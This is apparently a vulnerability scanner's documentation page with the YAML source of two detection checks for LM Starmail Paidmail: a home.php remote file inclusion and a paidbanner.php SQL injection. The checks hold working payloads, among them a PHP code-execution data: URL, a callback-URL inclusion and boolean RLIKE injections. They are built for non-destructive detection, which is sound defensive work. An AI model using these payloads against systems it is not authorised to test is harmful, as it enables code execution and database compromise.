LM Starmail — 2 vulnerability checks
noctis ships 2 vulnerability checks for LM Starmail, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
LM Starmail Paidmail home.php page Remote File Inclusion
| CVE | CVE-2009-4993 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/lm-starmail/CVE-2009-4993.yaml |
Tests LM Starmail Paidmail 2.0 for the unauthenticated file inclusion in home.php, which passes the `page` parameter to include() without any check. The feed requests home.php under the usual install folders with page set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. When OOB is enabled, page is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP include warning naming a random file name shows that the value reaches include() unchecked. The snippet only prints a hash and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/home.php?page={{probe.data}} - Parses / computes the next value with a Rhai script
- Checks
rce_prooffor^[0-9a-f]{32}$→ finding QoD 97: LM Starmail Paidmail home.php page Remote File Inclusion (CVE-2009-4993) - HTTP(S) request
GET {{dir}}/home.php?page={{probe.marker}} - Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/home.php?page={{oob_url}}%3F - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: LM Starmail Paidmail home.php page Remote File Inclusion (CVE-2009-4993)
- Checks
warn_prooffor^noctis[0-9a-zA-Z]+$→ finding QoD 75: LM Starmail Paidmail home.php page File Inclusion (CVE-2009-4993)
References:
Feed source — tests/vulnerabilities/lm-starmail/CVE-2009-4993.yaml
# LM Starmail Paidmail 2.0 — home.php page remote file inclusion (CVE-2009-4993)
#
# LM Starmail 2.0 (commercial German paidmail script, script-shop24.de, sold
# rebranded) passes the `page` GET parameter of home.php to include() before
# any login. The advisory (exploit-db 9383) shows
# home.php?page=[evilscript] (demo: home.php?page=http://google.de)
# i.e. the raw value is included, a URL being fetched when PHP allows it. No
# source is public and no fixed release exists.
#
# The source plugin of CVE-2009-4992 names this CVE too but only tests the
# paidbanner.php SQL injection; this feed covers the inclusion. Per install
# folder:
# 1. In-band code execution (QoD 97): page is a data: URL holding
# <?php echo md5(A*B);exit;?> with random A and B. When PHP may include
# URLs (allow_url_include) the code runs and the reply carries the md5 of
# the product, a value the request never contains. A suffix glued to the
# value by the script lands after exit and changes nothing. If the wrapper
# is refused, PHP's warning quotes the code text, not the md5. No quotes in
# the code (magic_quotes_gpc-safe), nothing written.
# 2. OOB (QoD 97, only when OOB is enabled): page is the noctis callback URL
# followed by "?", so any appended suffix lands in the query string; a
# fetch of the URL is the remote inclusion. Also covers servers that hide
# PHP output and errors.
# 3. Fallback (QoD 75): page is a random name; the reply must carry PHP's
# include() / main() / "Failed opening … for inclusion" warning naming it:
# the value reached include() unchecked (local inclusion at least).
# Verified against a real PHP 8.3 include($_GET['page']) sink with
# allow_url_include on (md5 printed) and off (warnings only).
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Related source: OpenVAS/Greenbone NASL 2010/gb_lm_starmail_paidmail_sql_inj_n_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902099, GPL-2.0-only), which lists this CVE.
uid: 57133c1a-7620-473b-8404-5061d96ba235
name: "LM Starmail Paidmail home.php page Remote File Inclusion (CVE-2009-4993)"
description: |
Tests LM Starmail Paidmail 2.0 for the unauthenticated file inclusion in
home.php, which passes the `page` parameter to include() without any check.
The feed requests home.php under the usual install folders with page set to
a data: URL carrying a small PHP snippet that prints the md5 of the product
of two random numbers; that md5 in the reply confirms that the server ran
code supplied in the request. When OOB is enabled, page is also set to the
scanner's callback URL, and a fetch of that URL confirms the remote
inclusion even when PHP output and errors are hidden. Otherwise, a PHP
include warning naming a random file name shows that the value reaches
include() unchecked. The snippet only prints a hash and writes nothing on
the server.
cves: [CVE-2009-4993]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [lm-starmail, paidmail, php, rfi, remote-file-inclusion, rce, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4993"
- "https://www.exploit-db.com/exploits/9383"
steps:
# ── Probe values, shared by every folder ─────────────────────────────────
# md5(A*B) is printed only when the included snippet actually runs.
- id: build-probe
action: script
code: |
let a = rand_int(10000, 99999);
let b = rand_int(10000, 99999);
#{
data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
expect: md5("" + (a * b)),
marker: "noctis" + rand_str(12)
}
store_as: probe
- id: init-warn-found
action: set_var
var_name: warn_found
var_value: false
- id: init-warn-dir
action: set_var
var_name: warn_dir
var_value: ""
- id: init-warn-proof
action: set_var
var_name: warn_proof
var_value: ""
- id: init-oob-sent
action: set_var
var_name: oob_sent
var_value: false
# ── Loop group: every following step up to the OOB wait runs once per
# install folder. Each pass resets the values it reads.
- id: init-rce-r
action: set_var
var_name: rce_r
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["/lm_starmail_paidmail", "", "/paidmail", "/starmail", "/lmstarmail"]
- id: init-warn-r
action: set_var
var_name: warn_r
var_value: {status: 0, body: ""}
- id: init-rce-proof
action: set_var
var_name: rce_proof
var_value: ""
# ── 1. data: URL — in-band code execution ────────────────────────────────
- id: rce-probe
action: http_request
method: GET
path: "{{dir}}/home.php?page={{probe.data}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: rce_r
- id: rce-check
action: script
code: |
if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
store_as: rce_proof
- id: report-rce
action: match
source: rce_proof
pattern: "^[0-9a-f]{32}$"
condition: 'rce_proof != ""'
on_match:
finding:
title: "LM Starmail Paidmail home.php page Remote File Inclusion (CVE-2009-4993)"
description: "An unauthenticated request to home.php with page set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. home.php includes the page parameter without any check, so an attacker can run any PHP code on the server."
remediation: "No fixed LM Starmail release is known: remove the script or restrict home.php to a fixed list of page names. Set allow_url_include and allow_url_fopen to Off in php.ini."
confidence_delta: 0.65
qod: 97
evidence: "GET {{dir}}/home.php?page=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
stop: true
# ── 3. Random file name — include() warning naming it (fallback) ─────────
- id: warn-probe
action: http_request
method: GET
path: "{{dir}}/home.php?page={{probe.marker}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
# Also when the code probe got no reply (status 0, e.g. a filter dropping
# "<?php"): this plain request may still get through.
condition: "warn_found == false && rce_r.status != 404"
store_as: warn_r
# PHP 4: "main(<x>): failed to open stream" / "main(): Failed opening '<x>'
# for inclusion"; PHP 5-8: "include(<x>): failed to open stream" and
# "include(): Failed opening '<x>' for inclusion". The name may carry a
# suffix the script appends.
- id: warn-check
action: script
code: |
let m = probe.marker;
let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
let hit = b.contains("Failed opening '" + m);
for w in ["include(", "include_once(", "require(", "require_once(", "main("] {
if b.contains(w + m) { hit = true; }
}
hit
condition: "warn_found == false"
store_as: warn_hit
- id: warn-dir
action: script
code: "dir"
condition: "warn_found == false && warn_hit"
store_as: warn_dir
- id: warn-proof
action: script
code: "probe.marker"
condition: "warn_found == false && warn_hit"
store_as: warn_proof
- id: warn-found
action: set_var
var_name: warn_found
var_value: true
condition: "warn_hit"
# ── 2. Callback URL — remote inclusion seen out of band ──────────────────
# Sent to every folder not answering 404 (also when the code probe got no
# reply), since a server hiding PHP errors gives no in-band sign. "%3F"
# turns any appended suffix into a query string.
- id: oob-probe
action: http_request
method: GET
path: "{{dir}}/home.php?page={{oob_url}}%3F"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
condition: "oob_enabled && rce_r.status != 404"
- id: oob-sent
action: set_var
var_name: oob_sent
var_value: true
condition: "oob_enabled && rce_r.status != 404"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
condition: "oob_enabled && oob_sent"
on_success:
finding:
title: "LM Starmail Paidmail home.php page Remote File Inclusion (CVE-2009-4993)"
description: "An unauthenticated request to home.php with page set to the noctis callback URL made the server fetch that URL: home.php includes the page parameter without any check, so an attacker can make it fetch and run PHP code from a server they control."
remediation: "No fixed LM Starmail release is known: remove the script or restrict home.php to a fixed list of page names. Set allow_url_include and allow_url_fopen to Off in php.ini."
confidence_delta: 0.65
qod: 97
evidence: "OOB HTTP callback received after GET <dir>/home.php?page=<OOB URL>? (remote file inclusion)"
stop: true
# ── Fallback finding: include() warning naming the random file ───────────
- id: report-warn
action: match
source: warn_proof
pattern: "^noctis[0-9a-zA-Z]+$"
condition: 'warn_proof != ""'
on_match:
finding:
title: "LM Starmail Paidmail home.php page File Inclusion (CVE-2009-4993)"
description: "An unauthenticated request to home.php with page set to a random file name returned a PHP include warning for that name: home.php passes the page parameter to include() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
remediation: "No fixed LM Starmail release is known: remove the script or restrict home.php to a fixed list of page names. Set allow_url_include and allow_url_fopen to Off in php.ini."
confidence_delta: 0.55
qod: 75
evidence: "GET {{warn_dir}}/home.php?page={{probe.marker}} returned a PHP include warning for {{warn_proof}}"
stop: trueLM Starmail Paidmail paidbanner.php ID SQL Injection
| CVE | CVE-2009-4992 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/lm-starmail/CVE-2009-4992.yaml |
LM Starmail Paidmail 2.0 places the `ID` parameter of paidbanner.php, unescaped, in its SQL query, allowing unauthenticated SQL injection.
This check requests paidbanner.php under the usual install folders with ID=-1' and confirms that the page prints a database result error, while the same page with a random numeric ID does not. It then proves the injection with three boolean requests whose outcome depends on the database computing the sum of two random numbers: a wrong sum must raise a database error, the right sum must not. Every request matches no row, nothing is written and no data is read from the database.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%27 - HTTP(S) request
GET {{dir}}/paidbanner.php?ID={{sc.ctl}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}}… - HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},… - HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}}… - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad… - HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum… - HTTP(S) request
GET {{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad… - Parses / computes the next value with a Rhai script
- Checks
bp.foundfor^BOOL$→ finding QoD 97: Boolean SQLi confirmed on …/paidbanner.php with … (A=…, B=…): a database result error for S=… and S=…, none for the correct sum S=… - Checks
qm.foundfor^QUOTE$→ finding QoD 75: SQL injection: ID=-1' on …/paidbanner.php made the page print a database result error (fetch on a failed query), while the control ID=… (va…
References:
Feed source — tests/vulnerabilities/lm-starmail/CVE-2009-4992.yaml
# LM Starmail Paidmail 2.0 — paidbanner.php ID SQL injection (CVE-2009-4992)
#
# LM Starmail 2.0 (commercial German paidmail script, script-shop24.de, sold
# rebranded — the public demo ran as "Luxusmailer5") puts the `ID` GET
# parameter of paidbanner.php unescaped into its banner query and hands the
# result to mysql_fetch_array(). The advisory (exploit-db 9383) shows
# paidbanner.php?ID=-1+union+select+1,2,3,4,5,user(),7,8,9,10--
# i.e. an unquoted numeric context with ten columns. No source is public and no
# fixed release exists.
#
# The source check requests index.php, requires "<title> LM Starmail", then
# sends the advisory's UNION and greps PHP's "mysql_fetch_array(): supplied
# argument is not a valid MySQL result resource" warning. On MySQL the
# trailing "--" (no space) is not a comment, so that payload really tests
# "the query broke", and it misses rebranded installs (title gate) and PHP 7+
# wording. This feed:
# 1. Gate — ID=-1' (quote) must make the page print a fetch-on-failed-query
# error (mysql_fetch_* warning, mysqli_fetch_* TypeError on PHP 8, or the
# SQL error itself) while a control ID=<random number> (valid SQL) does not.
# 2. QoD 97 — boolean proof computed by the database, no row returned:
# ID=-1 AND 1 RLIKE IF(A+B=S,1,0x28) sent three times (S wrong, right,
# wrong; random A/B). A wrong sum makes RLIKE compile the invalid regex
# "(" and the query fails; the right sum is valid SQL matching no row.
# Error / no error / error proves the database evaluated our arithmetic.
# Constant-folded at prepare time: verified through PHP 8.3 mysqli on
# MariaDB 10.11 with id as PRIMARY KEY. If the numeric triple does not
# toggle, the quoted form -1' AND 1 RLIKE IF(...) AND '1'='1 is tried
# (each form only ever errors in the other context: no FP).
# 3. QoD 75 — the gate alone (quote error + clean control), when the boolean
# proof cannot be completed.
# No UNION is sent: a row coming back could make the click handler credit or
# log something; every probe here returns zero rows. Nothing is written and no
# data is read. Install folders are walked without a title gate.
#
# CVSS: NVD v2 7.5 (no v3 score).
#
# Source: OpenVAS/Greenbone NASL 2010/gb_lm_starmail_paidmail_sql_inj_n_rfi_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.902099, GPL-2.0-only). The same NVT names
# CVE-2009-4993 (home.php page RFI) but never tests it: see CVE-2009-4993.yaml.
uid: 79f087f9-7576-4c45-bcfb-21165b1cea1a
name: "LM Starmail Paidmail paidbanner.php ID SQL Injection (CVE-2009-4992)"
description: |
LM Starmail Paidmail 2.0 places the `ID` parameter of paidbanner.php,
unescaped, in its SQL query, allowing unauthenticated SQL injection.
This check requests paidbanner.php under the usual install folders with
ID=-1' and confirms that the page prints a database result error, while
the same page with a random numeric ID does not. It then proves the
injection with three boolean requests whose outcome depends on the database
computing the sum of two random numbers: a wrong sum must raise a database
error, the right sum must not. Every request matches no row, nothing is
written and no data is read from the database.
cves: [CVE-2009-4992]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [lm-starmail, paidmail, php, sqli, boolean-based, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4992"
- "https://www.exploit-db.com/exploits/9383"
steps:
# ── Random operands ───────────────────────────────────────────────────────
- id: gen-operands
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ a: a, b: b, sum: a + b, bad1: a + b + rand_int(1, 9), bad2: a + b - rand_int(1, 9),
ctl: rand_int(100000000, 999999999) }
store_as: sc
# ── Per candidate install folder (loop group) ─────────────────────────────
# Pre-initialise every stored result a script reads: a failed request leaves
# store_as unset and an undefined var would abort the whole test.
- id: init-qm-resp
action: set_var
var_name: qm_resp
var_value: {status: 0, body: null}
loop:
over: ["/lm_starmail_paidmail", "", "/paidmail", "/starmail", "/lmstarmail"]
var: dir
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: null}
- id: init-n1-resp
action: set_var
var_name: n1_resp
var_value: {status: 0, body: null}
- id: init-nt-resp
action: set_var
var_name: nt_resp
var_value: {status: 0, body: null}
- id: init-n2-resp
action: set_var
var_name: n2_resp
var_value: {status: 0, body: null}
- id: init-q1-resp
action: set_var
var_name: q1_resp
var_value: {status: 0, body: null}
- id: init-qt-resp
action: set_var
var_name: qt_resp
var_value: {status: 0, body: null}
- id: init-q2-resp
action: set_var
var_name: q2_resp
var_value: {status: 0, body: null}
# ── Stage 1: a quote breaks the query, a random number does not ───────────
- id: qm-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%27"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qm_resp
- id: ctl-probe
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID={{sc.ctl}}"
condition: "qm_resp.status != 0 && qm_resp.status != 404"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: ctl_resp
# A failed query reaches mysql_fetch_array(): PHP 5 prints "mysql_fetch_array():
# supplied argument is not a valid MySQL result resource", PHP 7+/mysqli
# "mysqli_fetch_array() ...", PHP 8 a TypeError naming it. A page printing
# the SQL error itself counts as the same signal ("Got error ... from regexp" /
# MariaDB "Regex error" / MySQL 8 "Mismatched parenthesis in regular expression").
- id: check-qm
action: script
code: |
let re = "mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error|in regular expression";
let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
let hit = ereg(re, body) && ctl_resp.status != 0 && !ereg(re, cbody);
#{ hit: hit, found: if hit { "QUOTE" } else { "" } }
store_as: qm
# ── Stage 2a: boolean proof, numeric context (the advisory's) ─────────────
- id: num-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: n1_resp
- id: num-true
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: nt_resp
- id: num-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)"
condition: "qm.hit"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: n2_resp
- id: check-num
action: script
code: |
let re = "mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error|in regular expression";
let b1 = if type_of(n1_resp.body) == "string" { n1_resp.body } else { "" };
let bt = if type_of(nt_resp.body) == "string" { nt_resp.body } else { "" };
let b2 = if type_of(n2_resp.body) == "string" { n2_resp.body } else { "" };
qm.hit && nt_resp.status != 0 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2)
store_as: num_ok
# ── Stage 2b: same proof, quoted context (only if 2a did not toggle) ──────
- id: quo-false-1
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad1}},1,0x28)%20AND%20%271%27%3D%271"
condition: "qm.hit && !num_ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: q1_resp
- id: quo-true
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.sum}},1,0x28)%20AND%20%271%27%3D%271"
condition: "qm.hit && !num_ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: qt_resp
- id: quo-false-2
action: http_request
method: GET
port: "{{port}}"
path: "{{dir}}/paidbanner.php?ID=-1%27%20AND%201%20RLIKE%20IF({{sc.a}}%2B{{sc.b}}%3D{{sc.bad2}},1,0x28)%20AND%20%271%27%3D%271"
condition: "qm.hit && !num_ok"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: q2_resp
- id: check-bool
action: script
code: |
let re = "mysqli?_fetch_[a-z]+\\(\\)|You have an error in your SQL syntax|from regexp|Regex error|in regular expression";
let b1 = if type_of(q1_resp.body) == "string" { q1_resp.body } else { "" };
let bt = if type_of(qt_resp.body) == "string" { qt_resp.body } else { "" };
let b2 = if type_of(q2_resp.body) == "string" { q2_resp.body } else { "" };
let quo_ok = qm.hit && !num_ok && qt_resp.status != 0 && ereg(re, b1) && !ereg(re, bt) && ereg(re, b2);
let ok = num_ok || quo_ok;
#{ ok: ok, found: if ok { "BOOL" } else { "" },
ctx: if num_ok { "ID=-1 AND 1 RLIKE IF(A+B=S,1,0x28)" } else { "ID=-1' AND 1 RLIKE IF(A+B=S,1,0x28) AND '1'='1" } }
store_as: bp
- id: report-bool
action: match
source: bp.found
pattern: "^BOOL$"
condition: "bp.ok"
on_match:
finding:
confidence_delta: 0.65
qod: 97
evidence: "Boolean SQLi confirmed on {{dir}}/paidbanner.php with {{bp.ctx}} (A={{sc.a}}, B={{sc.b}}): a database result error for S={{sc.bad1}} and S={{sc.bad2}}, none for the correct sum S={{sc.sum}}"
stop: true
- id: report-qm
action: match
source: qm.found
pattern: "^QUOTE$"
condition: "qm.hit"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection: ID=-1' on {{dir}}/paidbanner.php made the page print a database result error (fetch on a failed query), while the control ID={{sc.ctl}} (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
stop: true